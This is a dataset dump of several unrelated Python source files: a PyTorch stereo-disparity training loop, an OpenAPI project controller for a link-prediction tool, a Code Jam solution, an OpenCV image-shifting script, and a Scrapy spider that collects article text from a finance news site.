a main experiment set\n - main_expi1:\n - sub_expi1 (args['exp_dir']) : may be experiment on SceneFlow\n - log_file (args[\"log_file\"]):\n - summary:\n - model (args[\"model_path\"]):\n lastest_model\n best_model\n args\n val_results.txt\n - sub_expi2: finetuning experiment\n - main_expi2: experiments with absolutely new config\n \"\"\"\n\n if args.get(\"yaml_path\", False):\n checkpoint_root = \"/data/data2/drj/ML/Stereo/StereoTool/checkpoint/\"\n yaml_path = args[\"yaml_path\"]\n path_split = yaml_path.split('/')\n args[\"exp_dir\"] = os.path.join(checkpoint_root, *path_split[-3:])\n\n current_time = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n exp_path = args['exp_dir'] # os.path.dirname(args[\"config\"])\n args[\"model_path\"] = os.path.join(exp_path, \"model\")\n args[\"log_file\"] = os.path.join(exp_path, 'log')\n summary_path = os.path.join(exp_path, \"summary\")\n utils.check_path(args[\"model_path\"])\n utils.check_path(args[\"log_file\"])\n utils.check_path(summary_path)\n args[\"log_file\"] = os.path.join(exp_path, 'log', \"stereo\" + current_time + \".log\")\n\n cudnn.enabled = True\n cudnn.benchmark = True\n\n rank = get_rank()\n\n if args[\"seed\"] is not None:\n # https://pytorch.org/docs/stable/notes/randomness.html\n # https://blog.csdn.net/qq_42714262/article/details/121722064\n random.seed(args[\"seed\"])\n np.random.seed(args[\"seed\"])\n torch.manual_seed(args[\"seed\"])\n torch.cuda.manual_seed(args[\"seed\"])\n torch.cuda.manual_seed_all(args[\"seed\"])\n if args['deterministic']:\n # os.environ['CUBLAS_WORKSPACE_CONFIG'] = ':4096:8' # 在cuda 10.2及以上的版本中,需要设置以下环境变量来保证cuda的结果可复现\n # torch.use_deterministic_algorithms(True) # 一些操作使用了原子操作,不是确定性算法,不能保证可复现,设置这个禁用原子操作,保证使用确定性算法\n # RuntimeError: upsample_bilinear2d_backward_out_cuda does not have a deterministic implementation,\n # but you set 'torch.use_deterministic_algorithms(True)'. You can turn off determinism just for this operation,\n # or you can use the 'warn_only=True' option, if that's acceptable for your application.\n # You can also file an issue at https://github.com/pytorch/pytorch/issues to help us prioritize adding deterministic support for this operation.\n cudnn.deterministic = True\n torch.backends.cudnn.enabled = False # 禁用cudnn使用非确定性算法\n cudnn.benchmark = False # 与上面一条代码配套使用,True的话会自动寻找最适合��前配置的高效算法,来达到优化运行效率的问题。False保证实验结果可复现。\n\n # torch.autograd.set_detect_anomaly(True)\n\n if rank == 0:\n Log.init(logfile_level=args['logfile_level'],\n stdout_level=args['stdout_level'],\n log_file=args[\"log_file\"],\n log_format=args['log_format'],\n rewrite=args['rewrite'])\n # Log.info(\"{}\".format(pprint.pformat(args)))\n utils.save_args(args, args[\"exp_dir\"])\n utils.save_command(args[\"exp_dir\"], \"command.txt\")\n tb_logger = SummaryWriter(summary_path)\n else:\n tb_logger = None\n\n # Create network.\n model = model_manager(args)\n model_name = model.get_name()\n num_params_train, num = utils.count_parameters(model)\n if rank == 0:\n Log.info('=> Number of trainable parameters: %d' % num_params_train)\n Log.info('=> Number of parameters: %d' % num)\n open(os.path.join(exp_path, '%d_parameters_trainable' % num_params_train), 'a').close()\n open(os.path.join(exp_path, '%d_parameters' % num), 'a').close()\n\n if args[\"net\"][\"sync_bn\"] and args[\"distributed\"]:\n model = torch.nn.SyncBatchNorm.convert_sync_batchnorm(model)\n\n model.cuda()\n if args[\"distributed\"]:\n local_rank = int(os.environ[\"LOCAL_RANK\"])\n model = torch.nn.parallel.DistributedDataParallel(\n model,\n device_ids=[local_rank],\n output_device=local_rank,\n find_unused_parameters=False,\n )\n else:\n model = torch.nn.DataParallel(model).cuda()\n\n loss = loss_helper(args)\n loss.cuda() # need this?\n\n if not args[\"dataset\"].get(\"mode\", False):\n if args[\"dataset\"][\"type\"] == \"KITTI_Mix\":\n mode = \"noval\"\n else:\n mode = \"val\"\n else:\n mode = args[\"dataset\"][\"mode\"]\n train_loader, val_loader = get_loader(args, mode, args[\"seed\"])\n\n # AAnet: Learning rate for offset learning is set 0.1 times those of existing layers\n specific_params = list(filter(specific_params_group, model.named_parameters()))\n base_params = list(filter(basic_params_group, model.named_parameters()))\n specific_params = [kv[1] for kv in specific_params] # kv is a tuple (key, value)\n base_params = [kv[1] for kv in base_params]\n basic_lr = args[\"trainer\"][\"optimizer\"][\"kwargs\"][\"lr\"]\n specific_lr = basic_lr * 0.1\n params_group = [\n {'params': base_params, 'lr': basic_lr},\n {'params': specific_params, 'lr': specific_lr},\n ]\n\n cfg_trainer = args[\"trainer\"]\n optimizer = get_optimizer(params_group, cfg_trainer)\n\n best_pred = 999.0\n start_epoch = 0\n best_epoch = 0\n pred = 0\n all_epoch = cfg_trainer['epochs']\n scheduler_metric = args['trainer']['lr_scheduler'].get('metric', 'epoch')\n train_metric = args['trainer'].get('metric', 'epoch')\n if train_metric == \"iter\":\n args[\"save_ckpt_freq\"] = args[\"save_ckpt_freq\"] * len(train_loader) # iter\n\n # auto_resume > pretrain\n if args['resume']:\n start_epoch, best_pred, best_epoch = resume_latest_ckpt(args[\"exp_dir\"], model, optimizer)\n # last_epoch, best_prec, best_epoch = resume_latest_ckpt os.path.join(args[\"exp_dir\"], \"ckpt.pth\")\n elif args[\"pretrained_net\"] is not None:\n # usually for fine turning\n load_state(args[\"pretrained_net\"], model)\n\n # AANet-style: have a mode only conduct evaluate\n if args['evaluate_only']:\n assert args['dataset']['val']['batch_size'] == 1\n validate(model, val_loader, 1, args, tb_logger, best_pred)\n Log.info(\"Validation process down in\")\n exit(1)\n\n if not args['resume']:\n files = os.listdir(exp_path)\n for file in files:\n if file.endswith('.pth'):\n Log.error(\"Experiment exit.\\\n The purpose of this error message is to prevent overwriting the original experiment!\")\n exit(1)\n\n # last_epoch = last_epoch if args['resume'] else last_epoch - 1 ?\n last_epoch = start_epoch if args['resume'] else start_epoch - 1\n scheduler = get_scheduler(cfg_trainer, optimizer, len(train_loader), last=last_epoch)\n\n # if not args['evaluate_only']:\n epoch = start_epoch\n for _ in range(start_epoch, all_epoch):\n epoch = train(model, optimizer, scheduler, loss, train_loader, epoch, train_metric, args, scheduler_metric, tb_logger)\n if train_metric == 'epoch':\n epoch = epoch + 1\n\n if mode != 'noval':\n # validate cant be with rank=0. All_reduce may wait for response from the sub-process from all ranks\n pred = validate(model, val_loader, epoch, args, tb_logger, best_pred)\n\n if rank == 0:\n if mode != 'noval':\n filename = model_name + '_best.pth'\n if pred < best_pred:\n best_pred = pred\n best_epoch = epoch\n save_checkpoint(args[\"exp_dir\"], optimizer, model, epoch, pred, best_pred, best_epoch, filename=filename)\n\n if epoch == all_epoch:\n val_file = os.path.join(args['exp_dir'], 'val_results.txt')\n with open(val_file, 'a') as f:\n f.write('\\nbest epoch: %03d \\t best EPE: %.3f\\n\\n' % (best_epoch, best_pred))\n\n Log.info('=> best epoch: %03d \\t best EPE: %.3f\\n' % (best_epoch, best_pred))\n\n if mode == 'noval':\n best_pred, pred, best_epoch = -1, -1, -1\n\n filename = model_name + '_latest.pth'\n save_checkpoint(args[\"exp_dir\"], optimizer, model, epoch, pred, best_pred, best_epoch, filename=filename)\n\n if epoch % args[\"save_ckpt_freq\"] == 0:\n save_checkpoint(args[\"model_path\"], optimizer, model, epoch, pred, best_pred, best_epoch, save_optimizer=False, net_name=model_name)\n\n if scheduler_metric == 'epoch':\n base_lr = optimizer.param_groups[0]['lr']\n if rank == 0:\n tb_logger.add_scalar('base_lr', base_lr, epoch)\n\n scheduler.step()\n\n if epoch == all_epoch:\n break\n\n\ndef train(model, optimizer, lr_scheduler, stereo_loss, data_loader, epoch, train_metric, args, scheduler_metric, tb_logger):\n model.train()\n # stereo_loss.train()\n if args[\"freeze_bn\"]:\n def set_bn_eval(m):\n classname = m.__class__.__name__\n if classname.find('BatchNorm') != -1:\n m.eval()\n\n model.apply(set_bn_eval)\n if data_loader.sampler is not None and hasattr(data_loader.sampler, 'set_epoch'):\n data_loader.sampler.set_epoch(epoch)\n data_loader_iter = iter(data_loader)\n\n rank = get_rank()\n\n # to screen\n total_iteration = len(data_loader)\n total_epoch = args['trainer']['epochs'] # all epoch\n print_freq = args.get('print_freq', 100)\n summary_freq = args.get('summary_freq', 100)\n max_disp = args['dataset']['max_disparity']\n train_metric = args['trainer'].get('metric', 'epoch')\n if train_metric == \"epoch\":\n pre_iter = epoch * total_iteration\n elif train_metric == \"iter\":\n pre_iter = epoch\n\n pseudo_gt = args['dataset']['train'].get('pseudo_gt', False)\n slant = args['dataset']['train'].get('slant', False)\n\n # scaler = torch.cuda.amp.GradScaler()\n\n disp_losses = AverageMeter()\n total_losses = AverageMeter()\n batch_time = AverageMeter()\n forward_time = AverageMeter()\n # backward_time = AverageMeter()\n # loss_time = AverageMeter()\n data_time = AverageMeter()\n\n for step in range(total_iteration):\n # torch.cuda.synchronize()\n i_iter = pre_iter + step + 1\n\n data_start = time.time()\n sample = next(data_loader_iter)\n\n img_left = sample['left'].cuda() # [B, 3, H, W]\n img_right = sample['right'].cuda()\n gt_disp = sample['disp'].cuda() # [B, H, W\n\n mask = (gt_disp > 1e-3) & (gt_disp < max_disp)# ]\n\n if pseudo_gt:\n pseudo_gt_disp = sample['pseudo_disp'].cuda()\n else:\n pseudo_gt_disp = None\n\n if slant:\n dxdy = sample[\"dxdy\"].cuda()\n else:\n dxdy = None\n\n data_time.update(time.time() - data_start)\n\n forward_start = time.time()\n # with torch.autograd.detect_anomaly():\n # with torch.cuda.amp.autocast():\n preds_dic = model(img_left, img_right)\n forward_time.update(time.time() - forward_start)\n # assert not torch.any(torch.isnan(preds[-1]))\n\n loss_dic = stereo_loss(preds_dic, gt_disp, dxygt=dxdy, pseudo_disp=pseudo_gt_disp,)\n\n # assert not torch.any(torch.isnan(total_loss))\n \"\"\"\n optimizer.zero_grad()\n scaler.scale(total_loss).backward()\n scaler.step(optimizer)\n scaler.update()\n \"\"\"\n\n total_loss = loss_dic[\"total_loss\"]\n\n optimizer.zero_grad()\n total_loss.backward()\n # torch.isnan(model.module.mu).sum() == 0, print(model.module.mu)\n optimizer.step()\n\n # assert torch.isnan(model.module.mu).sum() == 0, print(model.module.mu)\n # assert torch.isnan(model.module.mu.grad).sum() == 0, print(model.module.mu.grad)\n\n \"\"\"\n for name, param in model.named_parameters():\n if param.grad is None:\n print(name)\n \"\"\"\n\n batch_time.update(time.time() - data_start)\n\n # get the disp loss\n for name in loss_dic.keys():\n if (\"multi_preds\" in name) and (\"pyramid\" not in name):\n disp_loss = loss_dic[name]\n\n # gather all loss from different gpus\n reduced_total_loss = all_reduce_mean(total_loss)\n reduced_disp_loss = all_reduce_mean(disp_loss)\n total_losses.update(reduced_total_loss)\n disp_losses.update(reduced_disp_loss)\n\n if rank == 0 and (i_iter % print_freq == 0):\n Log.info(\n \"Epoch: [{}/{}] Iter: [{}/{}] /all {} \\t\"\n \"Data Time: {data_time.val:.2f} ({data_time.avg:.2f}) \"\n \"Forward Time: {forward_time.val:.2f} ({forward_time.avg:.2f})\\t\"\n \"Batch Time: {batch_time.val:.2f} ({batch_time.avg:.2f})\\t\"\n \"Disp Loss: {disp_loss.val:.4f} ({disp_loss.avg:.4f}) \"\n \"Total Loss: {total_loss.val:.4f} ({total_loss.avg:.4f})\\t\".format(\n epoch + 1, total_epoch, step+1, total_iteration, i_iter,\n data_time=data_time,\n forward_time=forward_time,\n batch_time=batch_time,\n disp_loss=disp_losses,\n total_loss=total_losses\n )\n )\n\n # EPE and error point count\n # get the disp\n for name in preds_dic.keys():\n if (\"preds\" in name) and (\"pyramid\" in name):\n preds = preds_dic[name]\n\n pred_disp = preds[-1]\n if pred_disp.size(-1) != gt_disp.size(-1):\n pred_disp = pred_disp.unsqueeze(1) # [B, 1, H, W]\n pred_disp = F.interpolate(pred_disp, size=(gt_disp.size(-2), gt_disp.size(-1)),\n mode='bilinear', align_corners=False) * (\n gt_disp.size(-1) / pred_disp.size(-1))\n pred_disp = pred_disp.squeeze(1) # [B, H, W]\n\n epe = F.l1_loss(gt_disp[mask], pred_disp[mask], reduction='mean')\n d1 = d1_metric(pred_disp, gt_disp, mask)\n thres1 = thres_metric(pred_disp, gt_disp, mask, 1.0)\n thres2 = thres_metric(pred_disp, gt_disp, mask, 2.0)\n thres3 = thres_metric(pred_disp, gt_disp, mask, 3.0)\n epe = all_reduce_mean(epe)\n d1 = all_reduce_mean(d1)\n thres1 = all_reduce_mean(thres1)\n thres2 = all_reduce_mean(thres2)\n thres3 = all_reduce_mean(thres3)\n\n # most related to the image summary\n if rank == 0 and (i_iter % summary_freq == 0):\n img_summary = dict()\n img_summary['left'] = img_left\n img_summary['right'] = img_right\n img_summary['gt_disp'] = gt_disp\n\n if pseudo_gt:\n img_summary['pseudo_gt_disp'] = pseudo_gt_disp\n\n # Save pyramid disparity prediction\n for s in range(len(preds)):\n # Scale from low to high, reverse\n # Maybe only save image at one GPU (Rank = 0)\n save_name = 'pred_disp' + str(len(preds) - s - 1)\n save_value = preds[s]\n img_summary[save_name] = save_value\n\n img_summary['disp_error'] = disp_error_img(pred_disp, gt_disp)\n save_images(tb_logger, 'train', img_summary, i_iter)\n\n tb_logger.add_scalar('train/epe', epe.item(), i_iter)\n tb_logger.add_scalar('train/d1', d1.item(), i_iter)\n tb_logger.add_scalar('train/disp_loss', disp_losses.avg, i_iter)\n if pseudo_gt:\n tb_logger.add_scalar('train/total_loss', total_losses.avg, i_iter)\n\n tb_logger.add_scalar('train/thres1', thres1.item(), i_iter)\n tb_logger.add_scalar('train/thres2', thres2.item(), i_iter)\n tb_logger.add_scalar('train/thres3', thres3.item(), i_iter)\n\n stereo_loss.loss_tb_logger(tb_logger, loss_dic, i_iter)\n\n disp_losses.reset()\n total_losses.reset()\n batch_time.reset()\n forward_time.reset()\n # backward_time.reset()\n # loss_time.reset()\n data_time.reset()\n\n if train_metric == 'iter':\n epoch = i_iter\n if epoch >= total_epoch:\n return epoch\n\n if scheduler_metric == 'iter':\n base_lr = optimizer.param_groups[0]['lr']\n tb_logger.add_scalar('base_lr', base_lr, i_iter)\n lr_scheduler.step()\n\n return epoch\n\n # Always save the latest model for resuming training\n\ndef validate(model, data_loader, epoch, args, tb_logger, best_prec):\n model.eval()\n\n if data_loader.sampler is not None and hasattr(data_loader.sampler, 'set_epoch'):\n data_loader.sampler.set_epoch(1)\n\n Log.info('=> Start validation...')\n\n validate_screen_freq = 5\n\n rank = get_rank()\n word_size = get_world_size()\n\n max_disp = args['dataset']['max_disparity']\n\n data_loader_iter = iter(data_loader)\n num_samples = len(data_loader)\n\n freq = num_samples // validate_screen_freq\n\n Log.info('=> %d samples found in the validation set' % num_samples)\n\n val_epe = 0\n val_d1 = 0\n val_thres1 = 0\n val_thres2 = 0\n val_thres3 = 0\n val_count = 0\n num_imgs = 0\n valid_samples = 0\n\n for step in range(num_samples):\n if step % freq == 0:\n Log.info('=> Validating %d/%d' % (step, num_samples))\n\n sample = next(data_loader_iter)\n\n img_left = sample['left'].cuda() # [1, 3, H, W]\n img_right = sample['right'].cuda()\n gt_disp = sample['disp'].cuda() # [1, H, W]\n mask = (gt_disp > 0) & (gt_disp < max_disp)\n\n if not mask.any():\n continue\n\n num_imgs += gt_disp.size(0)\n\n with torch.no_grad():\n pred_dic = model(img_left, img_right) # not [B, H, W] but dist\n\n # get the disp\n for name in pred_dic.keys():\n if (\"preds\" in name) and (\"pyramid\" in name):\n pred_disp = pred_dic[name][-1]\n\n if pred_disp.size(-1) < gt_disp.size(-1):\n pred_disp = pred_disp.unsqueeze(1) # [B, 1, H, W]\n pred_disp = F.interpolate(pred_disp, (gt_disp.size(-2), gt_disp.size(-1)),\n mode='bilinear', align_corners=False) * (gt_disp.size(-1) / pred_disp.size(-1))\n pred_disp = pred_disp.squeeze(1) # [B, H, W]\n\n epe = F.l1_loss(gt_disp[mask], pred_disp[mask], reduction='mean')\n\n d1 = d1_metric(pred_disp, gt_disp, mask)\n thres1 = thres_metric(pred_disp, gt_disp, mask, 1.0)\n thres2 = thres_metric(pred_disp, gt_disp, mask, 2.0)\n thres3 = thres_metric(pred_disp, gt_disp, mask, 3.0)\n\n epe = all_reduce_mean(epe)\n d1 = all_reduce_mean(d1)\n thres1 = all_reduce_mean(thres1)\n thres2 = all_reduce_mean(thres2)\n thres3 = all_reduce_mean(thres3)\n\n if rank == 0:\n # Sum operation when rank = 0\n val_epe += epe.item()\n val_d1 += d1.item()\n val_thres1 += thres1.item()\n val_thres2 += thres2.item()\n val_thres3 += thres3.item()\n # val_count += 1\n valid_samples += 1\n\n # Save 3 images for visualization\n if not args['evaluate_only']:\n if step in [num_samples // 4, num_samples // 2, num_samples // 4 * 3]:\n img_summary = dict()\n img_summary['disp_error'] = disp_error_img(pred_disp, gt_disp)\n img_summary['left'] = img_left\n img_summary['right'] = img_right\n img_summary['gt_disp'] = gt_disp\n img_summary['pred_disp'] = pred_disp\n save_images(tb_logger, 'val' + str(val_count), img_summary, epoch)\n val_count += 1\n\n if rank == 0:\n mean_epe = val_epe / valid_samples\n mean_d1 = val_d1 / valid_samples\n mean_thres1 = val_thres1 / valid_samples\n mean_thres2 = val_thres2 / valid_samples\n mean_thres3 = val_thres3 / valid_samples\n Log.info('=> Validation done!')\n\n val_file = os.path.join(args['exp_dir'], 'val_results.txt')\n # Save validation results\n with open(val_file, 'a') as f:\n f.write('epoch: %03d\\t' % epoch)\n f.write('epe: %.3f\\t' % mean_epe)\n f.write('d1: %.4f\\t' % mean_d1)\n f.write('thres1: %.4f\\t' % mean_thres1)\n f.write('thres2: %.4f\\t' % mean_thres2)\n f.write('thres3: %.4f\\n' % mean_thres3)\n\n Log.info('=> Mean validation epe of epoch %d: %.3f' % (epoch, mean_epe))\n\n if not args['evaluate_only']:\n tb_logger.add_scalar('val/epe', mean_epe, epoch)\n tb_logger.add_scalar('val/d1', mean_d1, epoch)\n tb_logger.add_scalar('val/thres1', mean_thres1, epoch)\n tb_logger.add_scalar('val/thres2', mean_thres2, epoch)\n tb_logger.add_scalar('val/thres3', mean_thres3, epoch)\n\n return mean_epe\n return None # rank != 0\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n","repo_name":"EliottDJay/StereoTool","sub_path":"stereo/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":27415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27477103426","text":"import logging\n\nimport werkzeug.exceptions as http_exceptions\n\nfrom linkprediction.database_connector import DatabaseConnector\nfrom linkprediction.graph_import.network_file import NetworkFile\nfrom linkprediction.graph_import.original_graph_handler import build_original_graph\nfrom linkprediction.graph_import.predicted_graph_handler import save_predicted_graph_to_db\nfrom linkprediction.openapi_server.models.project import Project # noqa: E501\nfrom linkprediction.openapi_server.models.evaluation_setup import EvaluationSetup # noqa: E501\n\n\ndef create_project(**kwargs): # noqa: E501\n \"\"\"Creates a project with an original network file.\n\n Creates a project with an original network file. # noqa: E501\n\n :param designation:\n :type designation: str\n :param description:\n :type description: str\n :param network_designation:\n :type network_designation: str\n :param network_directed:\n :type network_directed: bool\n :param network_multigraph:\n :type network_multigraph: bool\n :param network_file: Binary object which contains the network file with a standard network format.\n :type network_file: str\n :param additional_network_file: Binary object which contains an additional network file with a standard network format (especailly used for CSV imports).\n :type additional_network_file: str\n :param file_format:\n :type file_format: str\n\n :rtype: Project\n \"\"\"\n body = dict(kwargs.items()).get('body')\n file = dict(kwargs.items()).get('network_file')\n additional_file = dict(kwargs.items()).get('additional_network_file')\n # Try to process and safe the file before accessing the Database\n try:\n file_format = body.get('file_format')\n network_file = NetworkFile(file_format, file, additional_file)\n node_list = network_file.parse_nodes()\n except Exception:\n logging.exception(\"Exception while handling the input file\")\n e = http_exceptions.InternalServerError(\n description='Something went wrong! Please check if your network file is correct.')\n raise e\n\n try:\n db = DatabaseConnector.get_db_instance()\n project_id = db.add_project(\n designation=body.get('designation'),\n description=body.get('description')\n )\n original_network_id = db.add_original_network_to_project(\n designation=body.get('network_designation'),\n directed=body.get('network_directed'),\n multigraph=body.get('network_multigraph'),\n project_id=project_id\n )\n predicted_network_id = db.add_predicted_network_to_project(\n designation=body.get('network_designation'),\n project_id=project_id\n )\n nodes = db.add_nodes(node_list, original_network_id, predicted_network_id)\n edge_list = network_file.parse_edges(nodes)\n db.add_edges_to_original_network(edge_list, original_network_id)\n for node in nodes:\n attribute_list = network_file.parse_attributes(node[0])\n if attribute_list:\n db.add_node_attributes(attribute_list, node[1])\n\n graph = build_original_graph('project_id', project_id)\n save_predicted_graph_to_db(graph.copy(), predicted_network_id)\n\n default_evaluation_setup = {\n \"random_seed\": 42,\n \"with_validation\": False,\n \"train_sampling_ratio\": 0.8,\n \"test_sampling_ratio\": 0.9,\n \"ml_preprocessing\": False\n }\n db.add_or_update_evaluation_result(project_id, default_evaluation_setup)\n\n return Project(\n id=project_id,\n designation=body.get('designation'),\n description=body.get('description'),\n original_network_id=original_network_id,\n predicted_network_id=predicted_network_id\n )\n except Exception:\n logging.exception(\"Exception occured while inserting data in the database\")\n e = http_exceptions.InternalServerError(\n description='Something went wrong! The input file seems to be wrong and the data could not be loaded into the database.')\n raise e\n\n\ndef delete_project_by_id(project_id): # noqa: E501\n \"\"\"Delete project by an ID.\n\n Deletes a project by an ID. # noqa: E501\n\n :param project_id: ID of the project to delete.\n :type project_id:\n\n :rtype: None\n \"\"\"\n try:\n db = DatabaseConnector.get_db_instance()\n db.delete_project(project_id)\n return f'Deleted project with ID {project_id}'\n except Exception as error:\n return ('Exception', error)\n\n\ndef get_project_by_id(project_id): # noqa: E501\n \"\"\"Find project by an ID.\n\n Returns a project by an ID. # noqa: E501\n\n :param project_id: ID of the project to return.\n :type project_id:\n\n :rtype: Project\n \"\"\"\n try:\n db = DatabaseConnector.get_db_instance()\n project_data = db.get_project_by_id('project_id', project_id)\n return Project(\n id=project_data['project_id'],\n designation=project_data['designation'],\n description=project_data['description'],\n original_network_id=project_data['original_network_id']\n # predicted_network_id\n )\n except Exception as error:\n return ('Exception', error)\n\n\ndef get_projects(): # noqa: E501\n \"\"\"Returns a list of available projects.\n\n Get all projects as an array. # noqa: E501\n\n\n :rtype: List[Project]\n \"\"\"\n try:\n db = DatabaseConnector.get_db_instance()\n projects_data = db.get_projects()\n\n project_instances = []\n for project_data in projects_data:\n project_instances.append(\n Project(\n id=project_data['project_id'],\n designation=project_data['designation'],\n description=project_data['description'],\n original_network_id=project_data['original_network_id'],\n predicted_network_id=project_data['predicted_network_id']\n )\n )\n return project_instances\n except Exception as error:\n return ('Exception', error)\n\n\ndef update_project_by_id(**kwargs): # noqa: E501\n \"\"\"Update project by an ID.\n\n Updates a project by an ID. # noqa: E501\n\n :param project_id: ID of the project to update.\n :type project_id:\n :param designation:\n :type designation: str\n :param description:\n :type description: str\n :param network_designation:\n :type network_designation: str\n :param network_directed:\n :type network_directed: bool\n :param network_multigraph:\n :type network_multigraph: bool\n :param network_file: Binary object which contains the network file with a standard network format.\n :type network_file: str\n :param file_format:\n :type file_format: str\n\n :rtype: Project\n \"\"\"\n\n return 'do some magic!'\n","repo_name":"social-media-analytics-research/tie-prediction-tool","sub_path":"linkprediction/openapi_server/controllers/projects_controller.py","file_name":"projects_controller.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23459725681","text":"def minutes(plates):\r\n heighest = 1\r\n best = 99999\r\n while(heighest <= max(plates)):\r\n mins = 0\r\n for s in plates:\r\n mins+= minsToMaxOf(s,heighest)\r\n mins += heighest\r\n if mins < best:\r\n best = mins\r\n heighest+=1\r\n return best\r\n \r\ndef minsToMaxOf(stack, max):\r\n return (stack-1)//max\r\n\r\nfile = open('B-large.in', 'r')\r\nout = open('outputB.txt', 'w')\r\nnum = int(file.readline().strip())\r\n\r\nfor i in range(num):\r\n d = int(file.readline().strip())\r\n p = file.readline().strip().split(' ')\r\n if p:\r\n p = list(map(int, p))\r\n out.write('Case #'+str(i+1)+': ' + str(minutes(p)) + '\\n')\r\n\r\nfile.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_156/631.py","file_name":"631.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72701509315","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nimport numpy as np\nimport cv2\nimport argparse\n\nfrom mylib.cv2_tools import *\n\n\ndef shift_img(img, direction, distance):\n if direction == 'l':\n shifted_img = np.hstack((img[:, distance:], img[:, 0:distance]))\n return shifted_img\n if direction == 'r':\n end = len(img[0])\n shifted_img = np.hstack((img[:, end - distance:end], img[:, 0:end- distance]))\n return shifted_img\n if direction == 'u':\n shifted_img = np.vstack((img[distance:, :], img[0:distance, :]))\n return shifted_img\n if direction == 'd':\n end = len(img)\n shifted_img = np.vstack((img[end - distance:end,:], img[:end - distance, :]))\n return shifted_img\n print ('Error: 方向が間違っています')\n\n\ndef save_shifted_img(src_img_path, direction, distance, dst_img_path):\n src_img = cv2.imread(src_img_path, -1)\n dst_img = shift_img(src_img, direction, distance)\n # display_img(dst_img)\n cv2.imwrite(dst_img_path, dst_img)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='画像を上下左右にシフトさせる')\n parser.add_argument('src_img_path', action='store', nargs=None, type=str, choices=None, \\\n help='入力画像のパス')\n parser.add_argument('direction', action='store', nargs=None, type=str, choices=None, \\\n help='シフトさせる方向')\n parser.add_argument('distance', action='store', nargs=None, type=int, choices=None, \\\n help='移動させる距離')\n parser.add_argument('dst_img_path', action='store', nargs=None, type=str, choices=None, \\\n help='出力画像のパス')\n args = parser.parse_args()\n save_shifted_img(args.src_img_path, args.direction, args.distance, args.dst_img_path)\n","repo_name":"lnaz/mylib","sub_path":"python/mylib/process_img/shift_img.py","file_name":"shift_img.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5206779039","text":"\nimport scrapy, random, time, pymysql\nfrom .. import items\nfrom fake_useragent import UserAgent\n\n\ndef getUrlsList():\n conn = pymysql.connect(\n host='localhost',\n user=\"root\",\n passwd=\"root\",\n db=\"nanfangcaifudatabase\",\n autocommit=True\n )\n cursor = conn.cursor()\n sql = \"select * from `nanfangcaifudatabase`.`tb_articlescontent`;\"\n cursor.execute(sql)\n result = cursor.fetchall()\n urlList = []\n for item in result:\n urlList.append(item[1])\n return urlList\n\n\nclass NanfangcaifuspiderSpider(scrapy.Spider):\n name = 'nanfangcaifuContentSpider'\n allowed_domains = 'www.southmoney.com'\n # start_urls = getUrlsList()\n\n def randomSleep(self):\n sleepTime = random.randint(0, 5)\n time.sleep(sleepTime)\n pass\n\n def start_requests(self):\n for urlItem in self.start_urls:\n headers = {\n 'Connection': 'keep-alive',\n 'Accept': 'application/json, text/plain, */*',\n 'User-Agent': str(UserAgent().random),\n }\n yield scrapy.Request(url=urlItem, callback=self.parse_ArticleContent, headers=headers)\n\n\n def parse_ArticleContent(self, response):\n paragraphList = response.xpath(\"//div[@class='articleCon']//p/text()\").extract()\n for paragraph in paragraphList:\n articleContentItem = items.articleContentItem()\n articleContentItem['url'] = response.url\n articleContentItem['paragraph'] = paragraph.replace(\"'\",\"’\")\n yield articleContentItem\n","repo_name":"Tommy-pixels/Crawl_Dealwith_Post_Auto","sub_path":"articlesNanFangCaiJing_Crawl_Dealwith_Post_Auto/articlesNanFangCaiJing_Crawl_Dealwith_Post_Auto/spiders/articleContentSpider.py","file_name":"articleContentSpider.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}